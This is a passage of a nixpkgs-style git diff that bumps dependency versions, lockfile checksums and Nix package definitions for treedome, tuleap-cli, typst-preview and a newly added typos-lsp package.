[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.37.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4765,6 +4912,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4777,6 +4930,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.37.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4801,29 +4960,35 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] name = "winnow" -version = "0.5.14" +version = "0.5.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d09770118a7eb1ccaf4a594a221334119a44a814fcb0d31c5b85e83e97227a97" +checksum = "1931d78a9c73861da0134f453bb1f790ce49b2e30eba8410b4b79bac72b46a2d" dependencies = [ "memchr", ] [[package]] name = "winreg" -version = "0.11.0" +version = "0.51.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76a1a57ff50e9b408431e8f97d5456f2807f8eb2a2cd79b06068fc87f8ecf189" +checksum = "937f3df7948156640f46aacef17a70db0de5917bda9c92b0f751f3a955b588fc" dependencies = [ "cfg-if", - "winapi", + "windows-sys 0.48.0", ] [[package]] name = "wry" -version = "0.24.3" +version = "0.24.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "33748f35413c8a98d45f7a08832d848c0c5915501803d1faade5a4ebcd258cea" +checksum = "6ad85d0e067359e409fcb88903c3eac817c392e5d638258abfb3da5ad8ba6fc4" dependencies = [ "base64 0.13.1", "block", @@ -4837,7 +5002,7 @@ dependencies = [ "gtk", "html5ever", "http", - "kuchiki", + "kuchikiki", "libc", "log", "objc", @@ -4880,18 +5045,40 @@ dependencies = [ [[package]] name = "xattr" -version = "1.0.1" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4686009f71ff3e5c4dbcf1a282d0a44db3f021ba69350cd42086b3e5f1c6985" +checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f" dependencies = [ "libc", + "linux-raw-sys", + "rustix", +] + +[[package]] +name = "zerocopy" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", ] [[package]] name = "zeroize" -version = "1.6.0" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a0956f1ba7c7909bfb66c2e9e4124ab6f6482560f6628b5aaeba39207c9aad9" +checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" [[package]] name = "zxcvbn" @@ -4901,7 +5088,7 @@ checksum = "103fa851fff70ea29af380e87c25c48ff7faac5c530c70bd0e65366d4e0c94e4" dependencies = [ "derive_builder", "fancy-regex", - "itertools", + "itertools 0.10.5", "js-sys", "lazy_static", "quick-error", diff --git a/pkgs/by-name/tr/treedome/package.json b/pkgs/by-name/tr/treedome/package.json index 3d8cab76cc67a..f0b05551614e5 100644 --- a/pkgs/by-name/tr/treedome/package.json +++ b/pkgs/by-name/tr/treedome/package.json @@ -11,23 +11,19 @@ "clean": "rm -rf node_modules", "prettier-format": "prettier --config .prettierrc 'src/**/*.ts*' --write" }, - "resolutions": { - "@types/react": "^17.0.1", - "@types/react-dom": "^17.0.1" - }, "dependencies": { "@emotion/react": "^11.11.1", "@emotion/styled": "^11.11.0", "@fontsource/noto-sans": "^5.0.8", "@fontsource/noto-sans-mono": "^5.0.8", "@leeoniya/ufuzzy": "^1.0.8", - "@mantine/core": "^6.0.16", - "@mantine/form": "^6.0.16", - "@mantine/hooks": "^6.0.16", - "@mantine/modals": "^6.0.16", - "@mantine/notifications": "^6.0.16", - "@mantine/spotlight": "^6.0.17", - "@mantine/tiptap": "^6.0.16", + "@mantine/core": "^7.5.0", + "@mantine/form": "^7.5.0", + "@mantine/hooks": "^7.5.0", + "@mantine/modals": "^7.5.0", + "@mantine/notifications": "^7.5.0", + "@mantine/spotlight": "^7.5.0", + "@mantine/tiptap": "^7.5.0", "@minoru/react-dnd-treeview": "^3.4.4", "@mui/icons-material": "^5.14.0", "@mui/material": "^5.14.0", @@ -41,11 +37,13 @@ "@tiptap/extension-subscript": "^2.0.4", "@tiptap/extension-superscript": "^2.0.4", "@tiptap/extension-text-align": "^2.0.4", + "@tiptap/extension-typography": "^2.2.3", "@tiptap/extension-underline": "^2.0.4", "@tiptap/pm": "^2.0.4", "@tiptap/react": "^2.0.4", "@tiptap/starter-kit": "^2.0.4", "@types/lodash": "^4.14.195", + "fuse.js": "^7.0.0", "jotai": "^2.2.2", "lodash": "^4.17.21", "lowlight": "^2.9.0", @@ -53,13 +51,14 @@ "react": "^18.2.0", "react-dnd": "^16.0.1", "react-dom": "^18.2.0", + "react-idle-timer": "^5.7.2", "wouter": "^2.11.0" }, "devDependencies": { "@tauri-apps/cli": "^1.4.0", "@types/node": "^20.4.4", "@types/react": "^18.2.15", - "@types/react-dom": "^18.2.7", + "@types/react-dom": "^18.2.19", "@vitejs/plugin-react": "^4.0.3", "prettier": "^3.0.0", "typescript": "^5.1.6", diff --git a/pkgs/by-name/tr/treedome/package.nix b/pkgs/by-name/tr/treedome/package.nix index a54c962aaa535..98c2a5e7e1cd6 100644 --- a/pkgs/by-name/tr/treedome/package.nix +++ b/pkgs/by-name/tr/treedome/package.nix @@ -2,7 +2,7 @@ , cargo-tauri , cmake , dbus -, fetchFromGitea +, fetchgit , fetchYarnDeps , freetype , gsettings-desktop-schemas @@ -19,14 +19,13 @@ let pname = "treedome"; - version = "0.3.3"; + version = "0.4.2"; - src = fetchFromGitea { - domain = "codeberg.org"; - owner = "solver-orgz"; - repo = "treedome"; + src = fetchgit { + url = "https://codeberg.org/solver-orgz/treedome"; rev = version; - sha256 = "sha256-492EAKCXyc4s9FvkpqppZ/GllYuYe0YsXgbRl/oQBgE="; + hash = "sha256-Ypc5+HXmpyMjJDQCyxYwauozaf4HkjcbpDZNGVGPW7o="; + fetchLFS = true; }; frontend-build = mkYarnPackage { @@ -35,13 +34,15 @@ let offlineCache = fetchYarnDeps { yarnLock = "${src}/yarn.lock"; - sha256 = "sha256-rV5jKKnbMutaG5o8gRKgs/uoKwbIkxAPIcx6VWG7mm4="; + hash = "sha256-nUOKN/0BTibRI66Do+iQUFy8NKkcaxFKr5AOtK3K13Q="; }; packageJSON = ./package.json; configurePhase = '' + runHook preConfigure ln -s $node_modules node_modules + runHook postConfigure ''; buildPhase = '' @@ -136,9 +137,10 @@ rustPlatform.buildRustPackage { meta = with lib; { description = "A local-first, encrypted, note taking application with tree-like structures, all written and saved in markdown"; homepage = " https://codeberg.org/solver-orgz/treedome"; - license = licenses.gpl3Plus; + license = licenses.agpl3; platforms = [ "x86_64-linux" ]; mainProgram = "treedome"; maintainers = with maintainers; [ tengkuizdihar ]; + changelog = "https://codeberg.org/solver-orgz/treedome/releases/tag/${version}"; }; } diff --git a/pkgs/by-name/tu/tuleap-cli/package.nix b/pkgs/by-name/tu/tuleap-cli/package.nix index baa98eb532643..73abdd14db75f 100644 --- a/pkgs/by-name/tu/tuleap-cli/package.nix +++ b/pkgs/by-name/tu/tuleap-cli/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "tuleap-cli"; - version = "1.0.0"; + version = "1.1.0"; src = fetchFromGitLab { owner = "csgroup-oss"; repo = "tuleap-cli"; rev = "refs/tags/v${version}"; - hash = "sha256-ZNAMhKszly2C+ljFGbP8xqUplQaxqaoArRJykuPNrkY="; + hash = "sha256-hL0mGWXzvHYFc8u4RXCDys3Fe/cgsGljfhSkPAjzt4o="; }; - vendorHash = "sha256-T5GA9IqH3PPQV2b0uJq2O4Nzu82Q5y/LgKAVJV/XqC4="; + vendorHash = "sha256-N9Hmxw/70Cgc790AVRn7lmuhMtDhI94CTUlqHU4VbaY="; nativeBuildInputs = [ installShellFiles ]; @@ -24,6 +24,8 @@ buildGoModule rec { "-w" ]; + subPackages = [ "." ]; + postInstall = '' installShellCompletion --cmd tuleap-cli \ --bash <($out/bin/tuleap-cli -s tuleap.example.com completion bash) \ diff --git a/pkgs/by-name/ty/typos-lsp/package.nix b/pkgs/by-name/ty/typos-lsp/package.nix new file mode 100644 index 0000000000000..30aeb9e214935 --- /dev/null +++ b/pkgs/by-name/ty/typos-lsp/package.nix @@ -0,0 +1,32 @@ +{ lib +, rustPlatform +, fetchFromGitHub +}: +rustPlatform.buildRustPackage rec { + pname = "typos-lsp"; + version = "0.1.14"; + + src = fetchFromGitHub { + owner = "tekumara"; + repo = "typos-lsp"; + rev = "refs/tags/v${version}"; + hash = "sha256-eEBGas7RykUbeJDNEUGzW0i6MpocjgJhrMsCU+UrBVM="; + }; + + cargoHash = "sha256-u9PW7HH+VUp1rIxtaOvTB3GYRPEkcbyCdI/HWsCRAU0="; + + # fix for compilation on aarch64 + # see https://github.com/NixOS/nixpkgs/issues/145726 + prePatch = '' + rm .cargo/config.toml + ''; + + meta = with lib; { + description = "Source code spell checker"; + homepage = "https://github.com/tekumara/typos-lsp"; + changelog = "https://github.com/tekumara/typos-lsp/blob/${src.rev}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ tarantoj ]; + mainProgram = "typos-lsp"; + }; +} diff --git a/pkgs/by-name/ty/typst-preview/Cargo.lock b/pkgs/by-name/ty/typst-preview/Cargo.lock index 257164ef986ea..9cbb837c33055 100644 --- a/pkgs/by-name/ty/typst-preview/Cargo.lock +++ b/pkgs/by-name/ty/typst-preview/Cargo.lock @@ -54,9 +54,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.7" +version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4cd2405b3ac1faab2990b74d728624cd9fd115651fcecc7c2d8daf01376275ba" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" dependencies = [ "anstyle", "anstyle-parse", @@ -140,6 +140,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] +name = "await-tree" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "626aa057fb6d254883c2750ef6bcbe6f6a5ce45daff839b538708411794f794d" +dependencies = [ + "coarsetime", + "derive_builder", + "flexstr", + "indextree", + "itertools", + "parking_lot", + "pin-project", + "tokio", + "tracing", + "weak-table", +] + +[[package]] name = "az" version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -439,6 +457,17 @@ dependencies = [ ] [[package]] +name = "coarsetime" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13b3839cf01bb7960114be3ccf2340f541b6d0c81f8690b007b2b39f750f7e5d" +dependencies = [ + "libc", + "wasix", + "wasm-bindgen", +] + +[[package]] name = "cobs" version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -606,12 +635,36 @@ dependencies = [ [[package]] name = "darling" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b750cb3417fd1b327431a470f388520309479ab0bf5e323505daf0290cd3850" +dependencies = [ + "darling_core 0.14.4", + "darling_macro 0.14.4", +] + +[[package]] +name = "darling" version = "0.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" dependencies = [ - "darling_core", - "darling_macro", + "darling_core 0.20.3", + "darling_macro 0.20.3", +] + +[[package]] +name = "darling_core" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "109c1ca6e6b7f82cc233a97004ea8ed7ca123a9af07a8230878fcfda9b158bf0" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 1.0.109", ] [[package]] @@ -630,16 +683,40 @@ dependencies = [ [[package]] name = "darling_macro" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4aab4dbc9f7611d8b55048a3a16d2d010c2c8334e46304b40ac1cc14bf3b48e" +dependencies = [ + "darling_core 0.14.4", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "darling_macro" version = "0.20.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ - "darling_core", + "darling_core 0.20.3", "quote", "syn 2.0.48", ] [[package]] +name = "dashmap" +version = "5.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +dependencies = [ + "cfg-if", + "hashbrown 0.14.3", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] name = "data-encoding" version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -662,6 +739,37 @@ dependencies = [ ] [[package]] +name = "derive_builder" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d67778784b508018359cbc8696edb3db78160bab2c2a28ba7f56ef6932997f8" +dependencies = [ + "derive_builder_macro", +] + +[[package]] +name = "derive_builder_core" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c11bdc11a0c47bc7d37d582b5285da6849c96681023680b906673c5707af7b0f" +dependencies = [ + "darling 0.14.4", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "derive_builder_macro" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebcda35c7a396850a55ffeac740804b40ffec779b98fffbb1738f4033f0ee79e" +dependencies = [ + "derive_builder_core", + "syn 1.0.109", +] + +[[package]] name = "digest" version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -775,16 +883,26 @@ dependencies = [ ] [[package]] +name = "env_filter" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a009aa4810eb158359dda09d0c87378e4bbb89b5a801f016885a4707ba24f7ea" +dependencies = [ + "log", + "regex", +] + +[[package]] name = "env_logger" -version = "0.10.1" +version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" +checksum = "05e7cf40684ae96ade6232ed84582f40ce0a66efcd43a5117aef610534f8e0b8" dependencies = [ + "anstream", + "anstyle", + "env_filter", "humantime", - "is-terminal", "log", - "regex", - "termcolor", ] [[package]] @@ -857,6 +975,15 @@ dependencies = [ ] [[package]] +name = "flexstr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d50aef14619d336a54fca5a592d952eb39037b1a1e7e6afd9f91c892ac7ef65" +dependencies = [ + "static_assertions", +] + +[[package]] name = "float-cmp" version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1095,7 +1222,7 @@ dependencies = [ "futures-core", "futures-sink", "futures-util", - "http", + "http 0.2.11", "indexmap 2.1.0", "slab", "tokio", @@ -1175,13 +1302,24 @@ dependencies = [ ] [[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] name = "http-body" version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" dependencies = [ "bytes", - "http", + "http 0.2.11", "pin-project-lite", ] @@ -1214,7 +1352,7 @@ dependencies = [ "futures-core", "futures-util", "h2", - "http", + "http 0.2.11", "http-body", "httparse", "httpdate", @@ -1234,7 +1372,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" dependencies = [ "futures-util", - "http", + "http 0.2.11", "hyper", "rustls", "tokio", @@ -1498,6 +1636,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e04e2fd2b8188ea827b32ef11de88377086d690286ab35747ef7f9bf3ccb590" [[package]] +name = "indextree" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c40411d0e5c63ef1323c3d09ce5ec6d84d71531e18daed0743fccea279d7deb6" + +[[package]] name = "inotify" version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1545,17 +1689,6 @@ dependencies = [ ] [[package]] -name = "is-terminal" -version = "0.4.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bad00257d07be169d870ab665980b06cdb366d792ad690bf2e76876dc503455" -dependencies = [ - "hermit-abi", - "rustix", - "windows-sys 0.52.0", -] - -[[package]] name = "is-wsl" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1566,6 +1699,15 @@ dependencies = [ ] [[package]] +name = "itertools" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +dependencies = [ + "either", +] + +[[package]] name = "itoa" version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1724,7 +1866,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", - "owning_ref", "scopeguard", ] @@ -1742,18 +1883,18 @@ checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memmap2" -version = "0.7.1" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f49388d20533534cd19360ad3d6a7dadc885944aa802ba3995040c5ec11288c6" +checksum = "43a5a03cefb0d953ec0be133036f14e109412fa594edc2f77227249db66cc3ed" dependencies = [ "libc", ] [[package]] name = "memmap2" -version = "0.8.0" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43a5a03cefb0d953ec0be133036f14e109412fa594edc2f77227249db66cc3ed" +checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" dependencies = [ "libc", ] @@ -1982,15 +2123,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" [[package]] -name = "owning_ref" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ff55baddef9e4ad00f88b6c743a2a8062d4c6ade126c2a528644b8e444d52ce" -dependencies = [ - "stable_deref_trait", -] - -[[package]] name = "palette" version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2067,6 +2199,26 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5be167a7af36ee22fe3115051bc51f6e6c7054c9348e28deb4f49bd6f705a315" [[package]] +name = "pin-project" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] name = "pin-project-lite" version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2338,7 +2490,7 @@ dependencies = [ "futures-core", "futures-util", "h2", - "http", + "http 0.2.11", "http-body", "hyper", "hyper-rustls", @@ -2628,6 +2780,17 @@ dependencies = [ ] [[package]] +name = "serde_repr" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] name = "serde_spanned" version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2671,7 +2834,7 @@ version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" dependencies = [ - "darling", + "darling 0.20.3", "proc-macro2", "quote", "syn 2.0.48", @@ -2814,6 +2977,12 @@ dependencies = [ ] [[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] name = "strict-num" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3130,9 +3299,9 @@ dependencies = [ [[package]] name = "tokio-tungstenite" -version = "0.20.1" +version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "212d5dcb2a1ce06d81107c3d0ffa3121fe974b73f068c8282cb1c32328113b6c" +checksum = "c83b561d025642014097b66e6c1bb422783339e0909e4429cde4749d1990bc38" dependencies = [ "futures-util", "log", @@ -3239,14 +3408,14 @@ checksum = "49d64318d8311fc2668e48b63969f4343e0a85c4a109aa8460d6672e364b8bd1" [[package]] name = "tungstenite" -version = "0.20.1" +version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e3dac10fd62eaf6617d3a904ae222845979aec67c615d1c842b4002c7666fb9" +checksum = "9ef1a641ea34f399a848dea702823bbecfb4c486f911735368f1f137cb8257e1" dependencies = [ "byteorder", "bytes", "data-encoding", - "http", + "http 1.0.0", "httparse", "log", "rand", @@ -3334,9 +3503,10 @@ dependencies = [ [[package]] name = "typst-preview" -version = "0.10.5" +version = "0.10.8" dependencies = [ "anyhow", + "await-tree", "chrono", "clap", "clap_complete", @@ -3348,8 +3518,9 @@ dependencies = [ "env_logger", "futures", "hyper", + "indexmap 2.1.0", "log", - "memmap2 0.7.1", + "memmap2 0.9.4", "notify", "once_cell", "open", @@ -3387,8 +3558,8 @@ dependencies = [ [[package]] name = "typst-ts-compiler" -version = "0.4.2-rc5" -source = "git+https://github.com/Myriad-Dreamin/typst.ts?rev=54471328e55df43479ff56dc44920f803ccf1fe4#54471328e55df43479ff56dc44920f803ccf1fe4" +version = "0.4.2-rc6" +source = "git+https://github.com/Myriad-Dreamin/typst.ts?rev=98e3d3a42877b195f87223060882d55fd5aaa04a#98e3d3a42877b195f87223060882d55fd5aaa04a" dependencies = [ "append-only-vec", "base64", @@ -3425,8 +3596,8 @@ dependencies = [ [[package]] name = "typst-ts-core" -version = "0.4.2-rc5" -source = "git+https://github.com/Myriad-Dreamin/typst.ts?rev=54471328e55df43479ff56dc44920f803ccf1fe4#54471328e55df43479ff56dc44920f803ccf1fe4" +version = "0.4.2-rc6" +source = "git+https://github.com/Myriad-Dreamin/typst.ts?rev=98e3d3a42877b195f87223060882d55fd5aaa04a#98e3d3a42877b195f87223060882d55fd5aaa04a" dependencies = [ "base64", "base64-serde", @@ -3434,6 +3605,7 @@ dependencies = [ "byteorder", "comemo", "crossbeam-queue", + "dashmap", "ecow", "elsa", "flate2", @@ -3441,7 +3613,6 @@ dependencies = [ "hex", "log", "once_cell", - "owning_ref", "parking_lot", "path-clean", "rayon", @@ -3449,10 +3620,10 @@ dependencies = [ "rustc-hash", "serde", "serde_json", + "serde_repr", "serde_with", "sha2", "siphasher 1.0.0", - "svgtypes", "tiny-skia", "tiny-skia-path", "ttf-parser", @@ -3462,8 +3633,8 @@ dependencies = [ [[package]] name = "typst-ts-svg-exporter" -version = "0.4.2-rc5" -source = "git+https://github.com/Myriad-Dreamin/typst.ts?rev=54471328e55df43479ff56dc44920f803ccf1fe4#54471328e55df43479ff56dc44920f803ccf1fe4" +version = "0.4.2-rc6" +source = "git+https://github.com/Myriad-Dreamin/typst.ts?rev=98e3d3a42877b195f87223060882d55fd5aaa04a#98e3d3a42877b195f87223060882d55fd5aaa04a" dependencies = [ "base64", "comemo", @@ -3745,6 +3916,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] +name = "wasix" +version = "0.12.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1fbb4ef9bbca0c1170e0b00dd28abc9e3b68669821600cad1caaed606583c6d" +dependencies = [ + "wasi", +] + +[[package]] name = "wasm-bindgen" version = "0.2.90" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3851,6 +4031,12 @@ dependencies = [ ] [[package]] +name = "weak-table" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "323f4da9523e9a669e1eaf9c6e763892769b1d38c623913647bfdc1532fe4549" + +[[package]] name = "web-sys" version = "0.3.67" source = "registry+https://github.com/rust-lang/crates.io-index" diff --git a/pkgs/by-name/ty/typst-preview/dom.json b/pkgs/by-name/ty/typst-preview/dom.json index c3172208d400c..38dfe78a9640a 100644 --- a/pkgs/by-name/ty/typst-preview/dom.json +++ b/pkgs/by-name/ty/typst-preview/dom.json @@ -12,12 +12,12 @@ "link:local": "yarn link @myriaddreamin/typst.ts @myriaddreamin/typst-ts-renderer" }, "peerDependencies": { - "@myriaddreamin/typst-ts-renderer": "0.4.2-rc5", - "@myriaddreamin/typst.ts": "0.4.2-rc5" + "@myriaddreamin/typst-ts-renderer": "0.4.2-rc6", + "@myriaddreamin/typst.ts": "0.4.2-rc6" }, "devDependencies": { - "@myriaddreamin/typst-ts-renderer": "0.4.2-rc5", - "@myriaddreamin/typst.ts": "0.4.2-rc5", + "@myriaddreamin/typst-ts-renderer": "0.4.2-rc6", + "@myriaddreamin/typst.ts": "0.4.2-rc6", "typescript": "^5.0.2", "vite": "^4.3.9", "vite-plugin-singlefile": "^0.13.5", @@ -25,7 +25,7 @@ "vitest": "^0.32.2" }, "exports": { - ".": "./dist/esm/index.mjs", - "./*": "./dist/esm/*" + ".": "./src/index.mts", + "./*": "./src/*" } } diff --git a/pkgs/by-name/ty/typst-preview/frontend.json b/pkgs/by-name/ty/typst-preview/frontend.json index 365a04beeafdb..4338a9c1b03ce 100644 --- a/pkgs/by-name/ty/typst-preview/frontend.json +++ b/pkgs/by-name/ty/typst-preview/frontend.json @@ -12,13 +12,13 @@ "link:local": "yarn link @myriaddreamin/typst.ts @myriaddreamin/typst-ts-renderer" }, "dependencies": { - "@myriaddreamin/typst-ts-renderer": "0.4.2-rc5", - "@myriaddreamin/typst.ts": "0.4.2-rc5", + "@myriaddreamin/typst-ts-renderer": "0.4.2-rc6", + "@myriaddreamin/typst.ts": "0.4.2-rc6", "typst-dom": "file:../typst-dom", "rxjs": "^7.8.1" }, "devDependencies": { - "typescript": "^5.0.2", + "typescript": "^5.3.3", "vite": "^4.3.9", "vite-plugin-singlefile": "^0.13.5", "vite-plugin-wasm": "^3.2.2", diff --git a/pkgs/by-name/ty/typst-preview/package.nix b/pkgs/by-name/ty/typst-preview/package.nix index 0e5f12cdc4c33..68eae7b47f698 100644 --- a/pkgs/by-name/ty/typst-preview/package.nix +++ b/pkgs/by-name/ty/typst-preview/package.nix @@ -14,14 +14,20 @@ let # Keep the vscode "mgt19937.typst-preview" extension in sync when updating # this package at pkgs/applications/editors/vscode/extensions/default.nix - version = "0.10.5"; + version = "0.10.8"; src = fetchFromGitHub { owner = "Enter-tainer"; repo = "typst-preview"; rev = "v${version}"; - hash = "sha256-BebOwlY2hm/SGYCtmsQICbo1V8sbUMYVWSM773Qmh04="; + hash = "sha256-n3lrJpCe/+THYepiiWIlTEMSMZPX7Qiucbg1ouU1ZEs="; fetchSubmodules = true; + + postFetch = '' + cd $out + substituteInPlace addons/frontend/yarn.lock \ + --replace-fail '"typst-dom@link:../typst-dom"' '"typst-dom@file:../typst-dom"' + ''; }; frontendSrc = "${src}/addons/frontend"; @@ -35,7 +41,7 @@ let offlineCache = fetchYarnDeps { yarnLock = "${domSrc}/yarn.lock"; 